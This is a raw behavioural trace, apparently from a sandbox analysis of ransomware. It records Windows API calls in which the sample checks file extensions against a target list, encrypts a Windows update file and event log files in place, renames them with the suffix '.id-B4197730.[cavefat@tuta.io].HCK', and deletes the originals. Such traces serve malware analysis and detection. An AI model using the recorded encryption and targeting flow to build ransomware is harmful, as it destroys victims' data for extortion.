CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0151.556] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5198099) returned 1 [0151.556] CloseHandle (hObject=0x2fc) returned 1 [0151.556] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0151.556] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0151.556] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0151.557] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0151.557] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1 [0151.557] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.557] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x35e8058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.560] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.560] ReadFile (in: hFile=0x2fc, lpBuffer=0x3628058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3628058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0151.566] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.566] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1 [0151.566] ReadFile (in: hFile=0x2fc, lpBuffer=0x3668058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3668058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.078] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0152.078] WriteFile (in: hFile=0x2fc, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0152.094] SetEndOfFile (hFile=0x2fc) returned 1 [0152.094] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e46038 [0152.097] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0152.097] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.098] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0152.098] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.100] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1 [0152.100] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e46038*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e46038*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1 [0152.102] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e46038 | out: hHeap=0x6b0000) returned 1 [0152.103] CloseHandle (hObject=0x2fc) returned 1 [0153.592] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString=".doc") returned 4 [0153.593] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0153.593] lstrlenW (lpString=".docx") returned 5 [0153.593] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0153.593] lstrlenW (lpString=".pdf") returned 4 [0153.593] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString=".xls") returned 4 [0153.593] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString=".xlsx") returned 5 [0153.593] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0153.593] lstrlenW (lpString=".ppt") returned 4 [0153.593] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString=".zip") returned 4 [0153.593] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString=".rar") returned 4 [0153.593] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString=".bz2") returned 4 [0153.593] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0153.593] lstrlenW (lpString=".7z") returned 3 [0153.593] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString=".dbf") returned 4 [0153.593] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString=".1cd") returned 4 [0153.593] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString=".jpg") returned 4 [0153.593] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString=".doc") returned 4 [0153.593] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0153.593] lstrlenW (lpString=".docx") returned 5 [0153.593] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0153.593] lstrlenW (lpString=".pdf") returned 4 [0153.593] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString=".xls") returned 4 [0153.593] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString=".xlsx") returned 5 [0153.593] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0153.593] lstrlenW (lpString=".ppt") returned 4 [0153.593] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.593] lstrlenW (lpString=".zip") returned 4 [0153.593] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString=".rar") returned 4 [0153.593] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0153.593] lstrlenW (lpString=".bz2") returned 4 [0153.593] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0153.593] lstrlenW (lpString=".7z") returned 3 [0153.593] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0153.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.594] lstrlenW (lpString=".dbf") returned 4 [0153.594] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0153.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.594] lstrlenW (lpString=".1cd") returned 4 [0153.594] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0153.594] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0153.594] lstrlenW (lpString=".jpg") returned 4 [0153.594] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0153.594] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0153.594] lstrlenW (lpString="Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 47 [0153.594] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0153.594] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0153.594] CloseHandle (hObject=0x2fc) returned 1 [0153.597] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0153.597] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.597] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0153.597] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.597] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.597] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.597] GetLastError () returned 0x0 [0153.597] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0153.600] WriteFile (in: hFile=0x300, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0153.601] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.601] WriteFile (in: hFile=0x300, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x132, lpOverlapped=0x0) returned 1 [0153.601] SetEndOfFile (hFile=0x300) returned 1 [0153.601] CloseHandle (hObject=0x300) returned 1 [0153.603] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.603] SetEndOfFile (hFile=0x2fc) returned 1 [0153.604] CloseHandle (hObject=0x2fc) returned 1 [0153.604] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0153.605] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0153.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.605] lstrlenW (lpString=".doc") returned 4 [0153.605] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0153.605] lstrlenW (lpString=".docx") returned 5 [0153.605] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0153.605] lstrlenW (lpString=".pdf") returned 4 [0153.605] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0153.605] lstrlenW (lpString=".xls") returned 4 [0153.605] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0153.605] lstrlenW (lpString=".xlsx") returned 5 [0153.605] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0153.605] lstrlenW (lpString=".ppt") returned 4 [0153.605] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0153.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.605] lstrlenW (lpString=".zip") returned 4 [0153.605] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0153.605] lstrlenW (lpString=".rar") returned 4 [0153.605] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0153.605] lstrlenW (lpString=".bz2") returned 4 [0153.605] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0153.605] lstrlenW (lpString=".7z") returned 3 [0153.605] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString=".dbf") returned 4 [0153.606] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString=".1cd") returned 4 [0153.606] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString=".jpg") returned 4 [0153.606] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString=".doc") returned 4 [0153.606] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString=".docx") returned 5 [0153.606] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0153.606] lstrlenW (lpString=".pdf") returned 4 [0153.606] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString=".xls") returned 4 [0153.606] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString=".xlsx") returned 5 [0153.606] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0153.606] lstrlenW (lpString=".ppt") returned 4 [0153.606] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString=".zip") returned 4 [0153.606] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString=".rar") returned 4 [0153.606] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString=".bz2") returned 4 [0153.606] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString=".7z") returned 3 [0153.606] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString=".dbf") returned 4 [0153.606] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString=".1cd") returned 4 [0153.606] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0153.606] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0153.606] lstrlenW (lpString=".jpg") returned 4 [0153.606] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0153.606] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0153.606] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0153.606] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0153.607] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=69632) returned 1 [0153.607] CloseHandle (hObject=0x2fc) returned 1 [0153.607] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0153.608] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.608] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0153.608] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.608] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.608] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.608] GetLastError () returned 0x0 [0153.608] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x11000, lpOverlapped=0x0) returned 1 [0153.611] WriteFile (in: hFile=0x300, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x11010, lpOverlapped=0x0) returned 1 [0153.612] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.612] WriteFile (in: hFile=0x300, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x170, lpOverlapped=0x0) returned 1 [0153.612] SetEndOfFile (hFile=0x300) returned 1 [0153.613] CloseHandle (hObject=0x300) returned 1 [0153.614] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.614] SetEndOfFile (hFile=0x2fc) returned 1 [0153.615] CloseHandle (hObject=0x2fc) returned 1 [0153.615] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0153.616] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0153.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.616] lstrlenW (lpString=".doc") returned 4 [0153.616] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString=".docx") returned 5 [0153.616] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0153.616] lstrlenW (lpString=".pdf") returned 4 [0153.616] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString=".xls") returned 4 [0153.616] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString=".xlsx") returned 5 [0153.616] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0153.616] lstrlenW (lpString=".ppt") returned 4 [0153.616] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.616] lstrlenW (lpString=".zip") returned 4 [0153.616] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString=".rar") returned 4 [0153.616] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString=".bz2") returned 4 [0153.616] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString=".7z") returned 3 [0153.616] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0153.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.616] lstrlenW (lpString=".dbf") returned 4 [0153.616] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.616] lstrlenW (lpString=".1cd") returned 4 [0153.616] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.616] lstrlenW (lpString=".jpg") returned 4 [0153.616] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0153.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.616] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.616] lstrlenW (lpString=".doc") returned 4 [0153.617] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString=".docx") returned 5 [0153.617] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0153.617] lstrlenW (lpString=".pdf") returned 4 [0153.617] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString=".xls") returned 4 [0153.617] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString=".xlsx") returned 5 [0153.617] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0153.617] lstrlenW (lpString=".ppt") returned 4 [0153.617] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.617] lstrlenW (lpString=".zip") returned 4 [0153.617] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString=".rar") returned 4 [0153.617] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString=".bz2") returned 4 [0153.617] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString=".7z") returned 3 [0153.617] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0153.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0153.617] lstrlenW (lpString=".dbf") returned 4 [0153.617] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0153.617] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 